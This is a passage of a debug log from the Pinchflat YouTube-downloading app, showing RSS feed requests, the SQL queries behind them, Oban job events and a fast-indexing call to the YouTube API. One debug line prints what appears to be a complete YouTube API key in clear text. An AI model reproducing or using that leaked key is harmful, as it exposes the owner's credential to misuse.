s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c299bcbc-8900-4aab-a003-f3e99352d063"] 18:08:33.850 [debug] QUERY OK source="media_items" db=7.5ms idle=1086.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:08:33.851 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1094.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:08:33.851 [debug] QUERY OK source="media_metadata" db=0.0ms idle=973.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564180] 18:08:33.851 [info] Sent 200 in 9ms 18:08:34.182 [info] GET /sources/395dfb31-2159-4757-8e0b-5d8c56c599d3/feed.xml 18:08:34.182 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "395dfb31-2159-4757-8e0b-5d8c56c599d3"} Pipelines: [:maybe_basic_auth] 18:08:34.182 [debug] QUERY OK source="sources" db=0.2ms idle=676.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["395dfb31-2159-4757-8e0b-5d8c56c599d3"] 18:08:34.183 [debug] QUERY OK source="media_items" db=0.4ms idle=340.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [4, 2000] 18:08:34.184 [debug] QUERY OK source="source_metadata" db=0.0ms idle=333.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [4] 18:08:34.184 [debug] QUERY OK source="media_metadata" db=0.0ms idle=332.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564146] 18:08:34.184 [info] Sent 200 in 1ms 18:08:34.639 [info] GET /sources/3605c76f-ca58-49ca-8d6f-c7997a9aae9b/feed.xml 18:08:34.639 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3605c76f-ca58-49ca-8d6f-c7997a9aae9b"} Pipelines: [:maybe_basic_auth] 18:08:34.640 [debug] QUERY OK source="sources" db=0.2ms idle=456.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3605c76f-ca58-49ca-8d6f-c7997a9aae9b"] 18:08:34.642 [debug] QUERY OK source="media_items" db=1.9ms idle=456.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [33, 2000] 18:08:34.649 [debug] QUERY OK source="source_metadata" db=0.1ms idle=464.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [33] 18:08:34.649 [debug] QUERY OK source="media_metadata" db=0.0ms idle=465.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563702] 18:08:34.649 [info] Sent 200 in 10ms 18:08:35.064 [info] GET /sources/8586e223-fac7-416b-9446-28a22d8d023c/feed.xml 18:08:35.064 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "8586e223-fac7-416b-9446-28a22d8d023c"} Pipelines: [:maybe_basic_auth] 18:08:35.064 [debug] QUERY OK source="sources" db=0.2ms idle=557.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["8586e223-fac7-416b-9446-28a22d8d023c"] 18:08:35.065 [debug] QUERY OK source="media_items" db=1.0ms idle=424.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [14, 2000] 18:08:35.065 [debug] QUERY OK source="source_metadata" db=0.0ms idle=423.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [14] 18:08:35.065 [info] Sent 200 in 1ms 18:08:35.961 [info] GET /sources/c265de63-c36a-4e88-bc51-2cf2504d420f/feed.xml 18:08:35.961 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c265de63-c36a-4e88-bc51-2cf2504d420f"} Pipelines: [:maybe_basic_auth] 18:08:35.962 [debug] QUERY OK source="sources" db=0.2ms idle=897.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c265de63-c36a-4e88-bc51-2cf2504d420f"] 18:08:35.962 [debug] QUERY OK source="media_items" db=0.3ms idle=896.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [43, 2000] 18:08:35.963 [debug] QUERY OK source="source_metadata" db=0.0ms idle=897.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [43] 18:08:35.963 [debug] QUERY OK source="media_metadata" db=0.0ms idle=455.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563756] 18:08:35.963 [info] Sent 200 in 1ms 18:08:36.288 [info] GET /sources/d22f5c77-f457-445b-98f3-40ec44dd3036/feed.xml 18:08:36.288 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d22f5c77-f457-445b-98f3-40ec44dd3036"} Pipelines: [:maybe_basic_auth] 18:08:36.288 [debug] QUERY OK source="sources" db=0.1ms idle=410.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d22f5c77-f457-445b-98f3-40ec44dd3036"] 18:08:36.289 [debug] QUERY OK source="media_items" db=0.9ms idle=326.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [28, 2000] 18:08:36.294 [debug] QUERY OK source="source_metadata" db=0.0ms idle=331.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [28] 18:08:36.294 [debug] QUERY OK source="media_metadata" db=0.0ms idle=331.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564183] 18:08:36.294 [info] Sent 200 in 6ms 18:08:38.057 [info] GET /sources/8c572b0a-32c2-4bbb-9aeb-f5d54afb525d/feed.xml 18:08:38.057 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "8c572b0a-32c2-4bbb-9aeb-f5d54afb525d"} Pipelines: [:maybe_basic_auth] 18:08:38.058 [debug] QUERY OK source="sources" db=0.1ms idle=548.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["8c572b0a-32c2-4bbb-9aeb-f5d54afb525d"] 18:08:38.063 [debug] QUERY OK source="media_items" db=5.0ms idle=180.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [34, 2000] 18:08:38.091 [debug] QUERY OK source="source_metadata" db=0.0ms idle=213.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [34] 18:08:38.091 [debug] QUERY OK source="media_metadata" db=0.0ms idle=213.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1526317] 18:08:38.094 [info] Sent 200 in 36ms 18:08:38.300 [info] GET /sources/4121b109-50ec-4197-a462-3579d5850ea0/feed.xml 18:08:38.300 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4121b109-50ec-4197-a462-3579d5850ea0"} Pipelines: [:maybe_basic_auth] 18:08:38.300 [debug] QUERY OK source="sources" db=0.1ms idle=422.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4121b109-50ec-4197-a462-3579d5850ea0"] 18:08:38.302 [debug] QUERY OK source="media_items" db=1.7ms idle=242.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [12, 2000] 18:08:38.308 [debug] QUERY OK source="source_metadata" db=0.0ms idle=245.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [12] 18:08:38.309 [debug] QUERY OK source="media_metadata" db=0.0ms idle=217.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563694] 18:08:38.309 [info] Sent 200 in 8ms 18:08:39.024 [info] GET /sources/4893f34e-338f-4b8b-a53c-d58258d7b402/feed.xml 18:08:39.024 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4893f34e-338f-4b8b-a53c-d58258d7b402"} Pipelines: [:maybe_basic_auth] 18:08:39.024 [debug] QUERY OK source="sources" db=0.1ms idle=723.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4893f34e-338f-4b8b-a53c-d58258d7b402"] 18:08:39.026 [debug] QUERY OK source="media_items" db=2.0ms idle=721.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 18:08:39.027 [debug] QUERY OK source="source_metadata" db=0.0ms idle=718.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 18:08:39.027 [debug] QUERY OK source="media_metadata" db=0.0ms idle=718.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564148] 18:08:39.027 [info] Sent 200 in 3ms 18:08:39.576 [info] GET /sources/af8ae607-b597-44e3-a119-63d1ea29b14d/feed.xml 18:08:39.576 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "af8ae607-b597-44e3-a119-63d1ea29b14d"} Pipelines: [:maybe_basic_auth] 18:08:39.576 [debug] QUERY OK source="sources" db=0.1ms idle=551.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["af8ae607-b597-44e3-a119-63d1ea29b14d"] 18:08:39.585 [debug] QUERY OK source="media_items" db=8.6ms idle=549.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [32, 2000] 18:08:39.618 [debug] QUERY OK source="source_metadata" db=0.0ms idle=591.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [32] 18:08:39.618 [debug] QUERY OK source="media_metadata" db=0.1ms idle=591.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564184] 18:08:39.623 [info] Sent 200 in 46ms 18:09:00.120 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:00.255 [info] {"source":"oban","duration":10427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:30.267 [info] {"source":"oban","duration":11303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.121 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:00.276 [info] {"source":"oban","duration":8133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:30.288 [info] {"source":"oban","duration":10697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:53.661 [info] {"args":{"id":37},"id":3800349,"meta":{},"system_time":1770768653661666897,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:10:53.663 [debug] QUERY OK source="sources" db=1.1ms idle=1783.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 18:10:53.665 [debug] QUERY OK source="settings" db=2.5ms idle=1784.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.667 [debug] QUERY OK source="media_profiles" db=1.6ms idle=1011.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:10:53.668 [debug] QUERY OK source="settings" db=1.1ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.668 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 18:10:53.668 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:53.668 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:10:53.793 [debug] QUERY OK source="media_items" db=0.6ms idle=130.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 18:10:53.794 [debug] QUERY OK source="settings" db=0.0ms idle=128.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 